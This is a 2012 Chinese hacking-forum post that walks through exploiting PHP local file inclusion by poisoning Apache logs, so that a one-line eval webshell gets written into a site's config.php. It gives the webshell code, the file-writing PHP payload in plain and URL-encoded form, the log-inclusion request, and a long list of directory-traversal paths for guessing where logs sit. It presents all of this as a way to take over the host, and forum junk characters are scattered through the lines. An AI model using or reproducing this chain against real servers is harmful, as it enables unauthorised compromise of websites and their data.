找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
. r( K/ E, i! @! |$ G& \* X! m( }: `  a
比如还是这句一句话木马
* {0 b& u5 D! n" |<?eval($_POST[cmd]);?>   
+ x/ |$ a" C. e0 K3 k" C$ p- e, ?! [; U9 q& g
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, + M8 `8 @4 q* a" L
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 B0 |3 Z3 T2 R2 s, d3 i7 r( k8 Q
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
5 O* t  s/ }5 x$ f& z/ }- gfclose($fp);?>   //在config.php里写入一句木马语句
: [$ f% D7 R- t* Q; H* p' T: v) u( d$ x' _
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 L& I$ s1 ]' `转换为
$ K: O) C) O" w+ `/ U. ~%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" k; o/ W" A; m3 y" ~, d$ iconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
; W1 _6 E( [, O) M; r0 T%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
% `$ _, C, w* |" }( M' ffclose%28%24fp%29%3B%3F%3E * N7 h& }7 Y. D9 l# F/ L
我们提交 ( {- r6 x7 H; ~/ A, A
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww : E2 Y% C" H: E' h7 l
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( T/ ^! t* Y/ O3 P! I; M- M. z%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B % s$ R) L2 ?$ \2 e* D! j
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E ! n3 C" ^5 _; a& t1 Z! T8 J$ F2 R# y
2 L* l3 J# O+ |/ N  o
这样就错误日志里就记录下了这行写入webshell的代码。
3 Y2 R$ z+ y9 f2 M+ {0 _我们再来包含日志,提交
0 a& Z% b% b  l* D: s5 ohttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log ! I4 {( U0 z; u8 P

/ W2 p& t) l* W这样webshell就写入成功了,config.php里就写入一句木马语句 & A/ w1 C* K5 ]9 m# m# J3 t2 P
OK.
5 C" `$ x6 l) x1 a% |! lhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
( r$ q8 F/ y4 y, t& L, o& O直接用lanker的客户端一连,主机就是你的了。
& c7 T7 [, U- r9 e" Z- f3 c; V# u: B, Z7 b/ ~/ {! n, `- S
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
# r% O" e, c2 }. D
7 K1 C7 `) J5 j5 K8 e! g- }4 }其他的日志路径,你可以去猜,也可以参照这里。
" v4 ]0 `) ?" y../../../../../../../../../../var/log/httpd/access_log
1 {& ^3 G( N0 V3 {3 \% l../../../../../../../../../../var/log/httpd/error_log , P+ Z% ]8 L9 B1 j( U0 w
../apache/logs/error.log $ j' b% \9 C( G; p
../apache/logs/access.log
; p0 J+ h" |2 D5 o8 w; ~) C$ \../../apache/logs/error.log 2 I; B  X9 h& [% w" l" T" t
../../apache/logs/access.log 2 P+ ]% R! w0 s" x
../../../apache/logs/error.log
7 r% W; [% K# E/ b' K../../../apache/logs/access.log
, p) b) m5 s5 F( F& v* i7 d7 d../../../../../../../../../../etc/httpd/logs/acces_log / a: ~9 b, N% b6 r* @) t
../../../../../../../../../../etc/httpd/logs/acces.log
* k$ R1 w3 p& P9 ~1 d' J../../../../../../../../../../etc/httpd/logs/error_log
( {1 ^7 Z& K9 Q- L../../../../../../../../../../etc/httpd/logs/error.log
1 y8 |& P. D: P../../../../../../../../../../var/www/logs/access_log 1 ]# r' {7 X! @  ~2 o
../../../../../../../../../../var/www/logs/access.log 5 [/ e4 L7 m  m4 z2 l0 i, N) b$ W
../../../../../../../../../../usr/local/apache/logs/access_log 2 E+ K* a$ H8 F1 p/ j' M
../../../../../../../../../../usr/local/apache/logs/access.log
2 I) E( n6 }, X: B, O: R2 L: }$ V../../../../../../../../../../var/log/apache/access_log 0 h. c: c4 _/ w, }- i1 g1 s+ }
../../../../../../../../../../var/log/apache/access.log 7 q) Q/ B9 @9 h
../../../../../../../../../../var/log/access_log
$ H, f+ D1 n& W7 u) d../../../../../../../../../../var/www/logs/error_log / j) }, z) v. \: p0 o
../../../../../../../../../../var/www/logs/error.log $ W5 M9 g: V0 M- Y! u
../../../../../../../../../../usr/local/apache/logs/error_log
) S4 m& s5 o$ T0 {+ s, `, ?; e../../../../../../../../../../usr/local/apache/logs/error.log 7 T  O% t6 |6 u8 K0 \6 l% M4 G5 ~4 Z
../../../../../../../../../../var/log/apache/error_log
3 d* M3 H4 ^& D: w5 t2 c: k# P; ?/ ?../../../../../../../../../../var/log/apache/error.log
2 s0 v9 [; `6 U7 }8 B' `../../../../../../../../../../var/log/access_log
5 t( h  C. m/ ]../../../../../../../../../../var/log/error_log
, F1 ]. r  a0 _4 k5 b/var/log/httpd/access_log      
& u9 n( @" m. P8 j- B, t/var/log/httpd/error_log     % A4 @$ z7 a1 a9 c- ~  z' M
../apache/logs/error.log     ' t* Q5 y! ?' c. i  F4 @% [8 D
../apache/logs/access.log
4 `( w( Q2 ^8 |; b: W../../apache/logs/error.log
1 U8 `8 c' ^9 e8 Y../../apache/logs/access.log : ?, [2 M9 [5 T! x, F2 q! K
../../../apache/logs/error.log
$ z& m+ [! I. b. q2 w../../../apache/logs/access.log
9 m# ^, v/ I& W+ y/etc/httpd/logs/acces_log
" v3 N8 n) I  i' K9 b, R/etc/httpd/logs/acces.log * Y& |0 N% `  d8 ?+ l8 c
/etc/httpd/logs/error_log
0 C$ _. M  k8 J  N/etc/httpd/logs/error.log * J" p, ?  e+ n6 E' A) c
/var/www/logs/access_log
( A* A% u8 }& r8 y; R; |/var/www/logs/access.log
! D, u$ s- o" F: H5 q' t) c/usr/local/apache/logs/access_log + x6 z7 a) Q8 R4 V1 d& `
/usr/local/apache/logs/access.log 3 U( \/ Z+ b+ ?5 Z+ f0 U
/var/log/apache/access_log 3 _$ v8 \3 @" u' @
/var/log/apache/access.log ) \; C2 \8 g! _9 Y
/var/log/access_log
, r% I" A! _, A2 K4 I0 L$ {' a. r) ~/var/www/logs/error_log 1 J! d5 n! m, j7 ]
/var/www/logs/error.log $ c5 j& L  _/ O* g
/usr/local/apache/logs/error_log 2 N: y8 [" w* t) i/ W# J
/usr/local/apache/logs/error.log 4 i( p) _, L  P1 `( t6 X: [
/var/log/apache/error_log
4 ~+ |" b8 u+ W- M0 \3 K: }# G/var/log/apache/error.log
( d8 Q2 R5 h% ]$ g: |/var/log/access_log
! E: G, ^  J+ E2 x: ~: u/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表